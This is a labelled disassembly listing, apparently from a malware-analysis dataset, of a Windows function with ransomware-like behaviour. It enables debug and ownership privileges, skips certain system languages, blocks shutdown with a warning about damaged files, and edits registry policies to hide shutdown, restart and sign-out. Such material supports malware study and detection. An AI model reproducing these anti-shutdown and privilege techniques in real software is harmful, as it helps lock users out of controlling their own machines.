Function at 0x14000873c
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
call qword [sym.imp.KERNEL32.DLL_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x140008797
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x140008b72
xor r8d, r8d
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateEventA]
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x140008b72
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x140008b72
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test rax, rax
je 0x14000880d
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x14000880d
lea rdx, [0x14003d7e0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.1400272d0
mov rcx, rax
call fcn.140023978
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140005c68
lea rcx, str.SeDebugPrivilege
call fcn.140005c68
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140008548]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbx, rax
test rax, rax
je 0x140008868
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov qword [rsp + 0x28], r15
lea r8, [0x14000e2b4]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
mov qword [0x14005ba28], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
movsxd rcx, eax
lea rax, [rbp - 0x20]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x1400088d4
lea rcx, [0x14005ba50]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rcx, [0x14005ba50]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [0x14005bb60]
call qword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
lea rcx, [0x14005bbd0]
call qword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
lea rcx, [0x14005bb88]
call qword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x1400089ce
xor edx, edx
lea rcx, [rbp - 0x80]
lea r8d, [rdx + 0x48]
call fcn.14001f5c0
lea rax, [0x14000872c]
xor ecx, ecx
mov qword [rbp - 0x78], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x80]
lea rax, str.window
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
movzx edx, ax
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r14, str.value
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], r15d
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005a7c
lea rax, [rbp - 0x30]
lea rsi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov qword [rsp + 0x20], rax
mov rdx, rsi
lea r8, str.MaxConnectionTime
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxDisconnectionTime
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxIdleTime
mov qword [rsp + 0x20], rax
call fcn.140005a7c
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140007bdc
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005a7c
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005a7c
lea rcx, [0x14005bb60]
call qword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
lea rcx, [0x14005bbd0]
call qword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
lea rcx, [0x14005bb88]
call qword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
or esi, 0xffffffff
test rbx, rbx
je 0x140008b59
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test rdi, rdi
je 0x140008b72
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14001c740
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret